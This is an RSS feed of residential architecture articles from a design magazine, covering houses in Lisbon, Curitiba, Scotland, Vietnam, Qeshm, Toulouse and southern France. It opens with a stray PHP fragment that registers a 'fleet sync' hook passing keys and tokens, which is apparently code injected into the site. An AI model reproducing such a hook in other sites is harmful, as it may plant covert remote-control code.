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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Residential – Architalkz https://architalkz.com - Architecture & Design Magazine Tue, 10 Jun 2025 08:24:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://architalkz.com/wp-content/uploads/2024/05/ArchiTalkz-Fav-48x48.png Residential – Architalkz https://architalkz.com 32 32 Casa Caramão by ÔCO https://architalkz.com/residential/casa-caramao-by-oco/ https://architalkz.com/residential/casa-caramao-by-oco/#respond Tue, 10 Jun 2025 08:24:15 +0000 https://architalkz.com/?p=11534 Casa Caramão, in the Bairro do Caramão da Ajuda, Lisbon, Portugal, is part of a homogeneous set of houses built between 1940 and 1945, on the southern slope facing the Tagus River. The neighborhood consists of two-story row houses, with front and backyards.

The renovation of the building stems from the desire to adapt the existing space to the needs and expectations of a young couple, prioritizing the relationship between the interior and the outdoor gardens. In the approach to the facades, an effort was made to respect the characteristics of the neighborhood, keeping the house faithful to its shared identity.

Inside, the focus was on creating surprise and novelty, particularly in the practical and functional aspects of the house, such as the “reading cabinet,” storage solutions, visibility between spaces, and flexibility in compartmentalization.

In the selection of finishes and materials, an effort was made to reproduce the tones and textures of the vegetation found outdoors, prioritizing natural and traditional materials, such as brushed oak flooring, polished cement, and glazed Portuguese ceramics.

]]> https://architalkz.com/residential/casa-caramao-by-oco/feed/ 0 AGE 360 by ARCHITECTS OFFICE + Triptyque https://architalkz.com/residential/age-360-by-architects-office-triptyque/ https://architalkz.com/residential/age-360-by-architects-office-triptyque/#respond Thu, 05 Jun 2025 08:24:12 +0000 https://architalkz.com/?p=11505 AGE 360, a new residential building designed by Greg Bousquet of Architects Office for the developer AG7, is transforming the landscape of the Ecoville neighborhood in Curitiba by proposing a vertical architectural landmark that combines technical innovation, sustainability, and quality of life. The 124 meter-tall building was designed to be an urban icon, reflecting the relationship between structural pragmatism and architectural poetics that defines AO’s projects.

Wellness Building

The concept of “wellness” was central. AG7 wanted an environment that promoted silence, well-being, and reconnection with nature. The common areas were covered in natural wood, creating a harmonious contrast with the concrete and vegetation. The core of the building, exposed in some places, also received this treatment to emphasize biophilia and welcoming.

AGE 360 won awards such as the iF Design Award 2021, received recognitions such as the IF Design Awards 2021, the Honorable Mention at the Architecture Masterprize 2020 and the Rethinking The Future Awards 2022 in the Housing category, the Rethinking the Future seal and the FITWEL certificate, which recognizes projects focused on the health and well-being of users.

These recognitions highlight the positive impact of the project on the real estate market and the urban context of Curitiba. The first Brazilian wellness building places all the pillars of well-being for residents in a project that unites three unique seals: Green Building Council (GBC), FITWEL, and Lapinha Spa, a pioneering well-being and integrative health retreat.

Architectural landmark

A residential building is visible from various city points without losing connection with the surroundings. The low-density site with privileged views of Barigui Park imposed structural and volumetric challenges. Using a procedural methodology, AO carried out 48 volumetric studies to complete the final configuration, comply with local regulations, and maximize the urban and natural perspectives, revealing a dynamic volumetry with chamfers that became the project’s identity.

Integration between mineral and organic elements

AGE 360 adopts a concrete exoskeleton to ensure flexibility in the interiors and free the apartments from pillars. This structural solution optimizes the internal layout and redefines the relationship between residents and space, offering versatile layouts and unobstructed views. The decision also introduced a strong aesthetic element, emphasizing the tower’s verticality and dialoguing with the concept of lightness.

]]> https://architalkz.com/residential/age-360-by-architects-office-triptyque/feed/ 0 Check House by Altro_studio https://architalkz.com/residential/check-house-by-altro_studio/ https://architalkz.com/residential/check-house-by-altro_studio/#respond Fri, 02 May 2025 09:29:37 +0000 https://architalkz.com/?p=11301 Optical illusion and disorientation are the terms that characterize this project.

©Altro_studio

The purpose induces reflection in the passage between one space and another, between one environment and another.

Recognizing the spatial dimension, not automatically but according to a considered perception, becomes a mode that allows understanding of every aspect of the domestic place. In the checke house nothing is taken for granted and everything is marked by an incessant and repetitive rhythm.

©Altro_studio

The picture refers to our childhood, is a simple and familiar element. In the Self-sufficient wooden construction of 125.00 sqm children draw rhythmic forms, simple and complex, repeated to infinity, with the intent of acquiring the ability to confront and measure with space, with its construction and size. The house is organized through a path that links, according to a sequence, collective spaces with private ones.

©Altro_studio

Large windows allow the light to penetrate in a soft way with the aim of emphasizing through strong contrasts the incessant repetition and texture. The structure, entirely made of wood, is self-sufficient from the plant  engineering point of view. A large cistern placed under the construction allows to  recover rainwater that can be reused for domestic use. through a sewage system.

©Altro_studio

From the thermal point of view, we think of a geothermal system that includes underfloor heating. Finally, regarding the electrical system, it is possible to have photovoltaic panels with storage elements. The systems will be housed in a suitable technical room set up within the volume. The infill materials (also made of wood) are characterized by a ventilation system composed of insulating panels arranged in the volume and in the cover.

]]> https://architalkz.com/residential/check-house-by-altro_studio/feed/ 0 Home For An Artist by Altro_studio https://architalkz.com/residential/home-for-an-artist-by-altro_studio/ https://architalkz.com/residential/home-for-an-artist-by-altro_studio/#respond Fri, 02 May 2025 09:27:16 +0000 https://architalkz.com/?p=11278 The house is characterized by a system of opaque and transparent walls.

©Altro_studio

©Altro_studio

The opaque walls, which have murals on both sides (inside-outside) can rotate, varying their image as needed, but maintaining their role as shading elements and protection from the sun. We are talking about a particular portico concept, considered in this case as a space of mediation and filter between the interior and exterior.

©Altro_studio

The panels that make up the murals are made of perforated metal and printed in order to take on the role of a sun-protection system, thus isolating the house during winter and summer . The two lateral paths can be used as covered open spaces as needed.

©Altro_studio

The rest of the building is composed by a glazed envelope through which you can admire the surrounding landscape. The interior space is also flexible and transformable thanks to a system of sliding walls in wood and metal. The iron frames are characterized by various colors so as to resume the tones of the murals.

©Altro_studio

Also in this case the lower part of the house contains an underground tank for recovery of rainwater from the roof. The house measures 144mq (96 + 24 side porches ) and consists of a large living room a kitchen with pantry two bathrooms and two bedrooms . both the living room and bedrooms can have different sizes and uses thanks to sliding walls

]]> https://architalkz.com/residential/home-for-an-artist-by-altro_studio/feed/ 0 Lined House by Altro_studio https://architalkz.com/residential/lined-house-by-altro_studio/ https://architalkz.com/residential/lined-house-by-altro_studio/#respond Fri, 02 May 2025 09:26:26 +0000 https://architalkz.com/?p=11272 In this project the altro_studio’s research for optical illusion and movement is underlined through color. Black and white stripes surround the entire house, creating a place strongly dynamic and, at the same time, arousing a state of instability of perception towards the observer.

©Altro_studio

Black and white are among the primary colors of the history of art and architecture, starting with rock painting. up to the bichrome of the Gothic and Romanesque cathedrals present in our territory. The house, which measures 100 square meters. is characterized by a long central axis of distribution that leads to private spaces. This path, thanks to its width (3 meters) can be transformed into a collective space of the house, in a place of conviviality generated by the sliding of the two walls present in the facades of the structure. Sliding inwards the walls delimit the space and its different configurations and dimensions, also determining particular optical effects. From the functional and compositional point of view, through the movement it’s possible to obtain specifically: covered open spaces, (porches), living areas and relaxation areas.

©Altro_studio

The structure, entirely made of steel with ventilate walls covered with Energy retrofit of glass fiber. We’re talking about the facade panel that heats. In addition the house is self-sufficient from the plant  engineering point of view. A large cistern placed under the construction allows to  recover rainwater that can be reused for domestic use. through a sewage system. From the thermal point of view, we think of a geothermal system that includes underfloor heating. Finally, regarding the electrical system, it is possible to have photovoltaic panels with storage elements. The systems will be housed in a suitable technical room set up within the volume.

©Altro_studio

The infill materials (also made of wood) are characterized by a ventilation system composed of insulating panels arranged in the volume and in the cover.

]]> https://architalkz.com/residential/lined-house-by-altro_studio/feed/ 0 Transforming Forgotten Land: An Office and Two Houses https://architalkz.com/residential/transforming-forgotten-land-an-office-and-two-houses/ https://architalkz.com/residential/transforming-forgotten-land-an-office-and-two-houses/#respond Thu, 16 May 2024 11:35:03 +0000 https://architalkz.com/?p=10988 A slim parcel of forgotten roadside land has been transformed into the headquarters for international mountain bike tour operator, H&I Adventures by Loader Monteith, completing the first phase of a new mixed-use brownfield development.

Context and Vision

The 5600 square meter plot lies to the west of Inverness in northern Scotland. Owners and operators of H&I Adventures, Catherine Shearer and Euan Wilson, approached Loader Monteith for their expertise in working with challenging sites and locations and progressive approach to sustainability. The clients sought to transform the long and narrow roadside site into a base for their thriving international tourism business and develop two new low-energy homes.

Architectural Approach

The project closely connects with Loader Monteith’s interest in revitalizing rural communities through the creation of new rural-remote coworking and community hubs, across new build and adaptive reuse construction. Loader Monteith’s masterplan for the slender, sloping site includes three new buildings; a two-storey office building and bike store, and two private residences. The new workplace and one house were completed in 2022, with the second house due for construction in early 2024.

Design Elements

The office is the welcome point for international tour-goers and represents H&I Adventures’ focus on hospitality and design excellence. As such, the clients briefed Loader Monteith to deliver architecture that foregrounds and sets a high standard of Scottish design experienced throughout tours. The two-story H&I Adventures office sits to the northeast of the plot boundary, wrapped in slim burnt larch cladding punctuated by a rich corten corner detail and recessed glazing designed to capture the far-reaching views across Beauly Firth.

Office Features

The office features a workshop, two showers and changing rooms, and a kitchen and breakout space at ground level. The kitchen faces south, overlooking the landscaped car park and mature treeline through a frameless glazed corner. It is lit by floor-to-ceiling sliding glazing, allowing staff and visitors to enjoy level access to the outdoors year-round. A warm material palette of ochre, graphite, and timber cabinetry defines the kitchen, offset by modern white tiling with black detailing. Clean white walls, polished concrete flooring, and timber ceiling paneling maintain a contemporary feeling inside, ensuring the verdant surroundings take focus to create close connections to the landscape.

Residential Spaces

Two new low-energy homes are plotted at the sloping site’s highest point allowing for water views and making use of the topography to create a distinction between living and work zones. The first completed house features a Z-shape plan, establishing its character and relationship to the landscape through a considered and impactful use of readily-available materials such as timber battens and slender metal. The private residence employs timber frame construction, highly insulated to reduce heat loss and warmed by an air source heat pump retained by triple glazing.

In essence, the project not only revitalizes forgotten land but also sets a benchmark for sustainable architecture, seamlessly integrating with the natural landscape while providing functional spaces for work and living.

]]> https://architalkz.com/residential/transforming-forgotten-land-an-office-and-two-houses/feed/ 0 Ajisai Hill House: Embracing Nature’s Majesty https://architalkz.com/residential/ajisai-hill-house-embracing-natures-majesty/ https://architalkz.com/residential/ajisai-hill-house-embracing-natures-majesty/#respond Thu, 16 May 2024 11:33:29 +0000 https://architalkz.com/?p=10977 The house is situated on a steep mountain slope, overlooking a vast valley with a view of a golf course and the Tam Dao Mountain range. The steep terrain provides a stunning view but poses a design challenge regarding access at such a high elevation. With a land area 1000m2, the client desires an open, nature-oriented residence with a sense of privacy. The goal is seamless integration with the surrounding natural landscape. The space should accommodate an extended family with five bedrooms and additional auxiliary spaces.

Architectural Solution

The architect’s solution divides the property into two parts. The upper block is at the highest point, offering abundant natural light and ventilation. The lower block includes a garage and auxiliary functions, serving as the primary access point from the front road. A dedicated elevator block ascends directly to connect with the main house via a steel bridge, guiding a journey through the garden, swimming pool, front yard, and to the house. Functional blocks are positioned on varying levels, gradually ascending towards the rear, culminating in a garden area incorporating a basketball court at the end of the plot.

Design Elements

The main house is constructed with a steel frame finished with stone and natural wood, sheltering the house from the impact of drastic weather conditions in the area. Wood and expansive awnings are inspired by traditional Vietnamese architectural spaces featuring rows of columns and symmetrical spaces. The main traffic axis is centrally balanced between the house and the various open spaces, connecting the front yard to the rear. The spaces between the elevated levels gradually open up new vistas, linking with the project’s backdrop.

Integration with Nature

The garden and the roof of the garage block are connected, expanding the flower planting area. Here, the homeowner has space to cultivate Hydrangeas, a beloved flower. One can admire this garden from the adjacent staircase or the bridge leading to the house. With a square layout and intersecting circulation spaces, the elongated edges of the house are accessible to natural light and nature. Two small gardens on either side extend into the middle of the house, creating a borderless connection between indoor and outdoor, nature and human. The central void space is maximized, providing privacy for the rooms and optimizing the number of rooms within the house. The large roofs and spacious balconies act as buffers for the structure while allowing cross-ventilation between the front and rear of the house. The structure’s layout is visible from above, with distinct blocks connected along a unified axis.

In essence, the Ajisai Hill House seamlessly blends modern architectural design with the serene beauty of its natural surroundings, offering its inhabitants a tranquil and harmonious living space.

]]> https://architalkz.com/residential/ajisai-hill-house-embracing-natures-majesty/feed/ 0 Embracing Tradition: A House in Gacho Village https://architalkz.com/residential/embracing-tradition-a-house-in-gacho-village/ https://architalkz.com/residential/embracing-tradition-a-house-in-gacho-village/#respond Thu, 16 May 2024 11:31:40 +0000 https://architalkz.com/?p=10959 Gacho village is slowly on the verge of expansion, and due to the interest of non-native citizens to settle in Qeshm Island, Gacho will eventually be on the verge of uneven expansion. The incident that hit the coasts in the country’s north is now creeping up in Qeshm. The presence and influx of capital to the region are creating unbalanced development. The result of this can be felt in the occurrence of colorful incongruous architectures in Qeshm and Hormuz; interestingly, even a correct definition of the architecture of the region is not presented in the traditional constructions, and practice, it will witness the presence of UFO’s from other climates, Like the whole of Qeshm, Gacho lacks gas, and there is a lot of wear and tear on the electricity network, so energy has been one of the main concerns of the design team. Gacho is practically a family village, and all residents are connected to each other. It was very important for designers that the presence of new architecture does not cause visual disturbances.

The project was handed over to the design team with the condition that there was a small dilapidated building of about 40 square meters. Considering the location of the project site on the beautiful and ancient island of Qeshm, which has a background of traditional southern architecture, the following principles were initially considered by the designers before starting the design.

Principles of Design

  • Providing a suitable model for expanding the rural context and future constructions in the village due to the project site’s location at the village’s main entrance.
  • Emphasizing the use of local patterns and techniques to reduce the energy consumption of the building in the middle seasons (passive house).
  • Avoiding any heterogeneous presence in the context of the design, respecting the visual comfort of the local residents, and using simple references to the village’s traditional architecture.
  • Applying salvaged or recycled materials into the project to reduce the project’s embodied carbon entails using materials like dried palm leaves or old wooden parts of local sailing retired boats.

Incorporating these principles, the design of the house in Gacho Village not only respects the heritage and tradition of the area but also addresses contemporary challenges such as energy efficiency and visual harmony within the community.

]]> https://architalkz.com/residential/embracing-tradition-a-house-in-gacho-village/feed/ 0 Renovation of MNB House: A Transformation Story https://architalkz.com/residential/renovation-of-mnb-house-a-transformation-story/ https://architalkz.com/residential/renovation-of-mnb-house-a-transformation-story/#respond Thu, 16 May 2024 11:29:30 +0000 https://architalkz.com/?p=10928 The project pertains to the renovation of a small family house in Toulouse. Despite its dated and somewhat run-down appearance, the house benefits from a five-meter wide parcel, which allows for a structure made of beams and hollow-core slabs, thus offering easy open-plan possibilities.

Ground Floor Transformation

On the ground floor, the garage is removed, and the veranda and its utility room are demolished. On the street side, a new glass block wall set back from the façade creates a buffer zone from the street and sidewalk, providing space for bikes and containers. The interior space is reduced to improve habitability and give the garden more magnitude. To the east, a large sliding glass door enhances the connection between the living area and the garden. By returning to its essential volume, the living area gains more light and merges with the garden.

Preservation of Materials and Legacy

As the existing materials are of good quality and in relatively good condition, they are reused wherever possible. The different floor tiles on the ground floor are preserved, sometimes partly removed to accommodate utility lines, and then reinstalled. Wall partitions are filled in with concrete, and then polished. The same process is applied to the walls and ceilings, where the imprints of old partitions are left exposed. The original layout of the house and its subsequent changes are kept visible, and its legacy is transmissible. The speckled tiles from the old veranda are cleaned and repurposed in the bathroom. On the top floor, the roof is externally insulated, new openings are created, and the space is kept open to allow for the house’s potential to evolve again.

Through thoughtful renovation and preservation of materials, the MNB House not only gains a new lease on life but also retains its historical and architectural significance.

]]> https://architalkz.com/residential/renovation-of-mnb-house-a-transformation-story/feed/ 0 Integrating Social Housing: A Project Overview https://architalkz.com/residential/integrating-social-housing-a-project-overview/ https://architalkz.com/residential/integrating-social-housing-a-project-overview/#respond Thu, 16 May 2024 11:24:18 +0000 https://architalkz.com/?p=10884 Located at the bow of a new subdivision at the entrance of the city of Gignac-la-Nerthe, the project proposes to integrate social housing through the use of a special materiality that embodies the territory.

Harmonizing Architectural Design

The architectural design proposes two volumes that seek to harmonize with the surrounding urban context of isolated and grouped houses. The project and its typological distribution allow for eight dwellings on this plot. The building, constructed in solid stone, resonates with the vernacular constructions of the village.

Outdoor Spaces and Materiality

The outdoor spaces are designed in a wooden structure and complete the accommodation with places to contemplate the massif of La Nerthe. The stones from the neighboring quarries make up the facade and mark the place with a particular atmosphere. The raw material expresses its strength.

Dialogue with Surroundings

A dialogue is created with the surrounding vegetation so that the elements form a strong warm atmosphere. The configuration of the plot plan allows for wide views of the landscape. In addition, the thickness reduces the noise pollution from the Avenue de la Méditerranée.

Architectural Composition

The volumes that make up the project, structured in two distinct blocks, represent two cleared masses. A simple and radical position forms a square in the overall composition. The ground floor of the smaller volume houses the technical spaces and cellars. The 8 apartments are distributed over the other floors.

Outdoor Accessibility and Connection

All the accommodations have generous outdoor space. Pedestrian access is proposed from the subdivision road, divided into two routes. The project aims to be a welcoming and permeable place, inviting users to explore it. The connections take the form of exterior paths that serve the numerous meeting spaces that accompany residents to their homes.

Construction Systems and Identity

The project was designed around two construction systems. One for the interior living spaces. A second for the extensions of the dwellings and the outdoor living spaces. By mixing solid stone, concrete, and wood, the project creates its own identity, referencing its context.

Conclusion

The integration of social housing within the fabric of the city is a vital aspect of urban development. Through thoughtful architectural design and materiality, projects like these not only provide necessary housing but also contribute to the aesthetic and social cohesion of the community.

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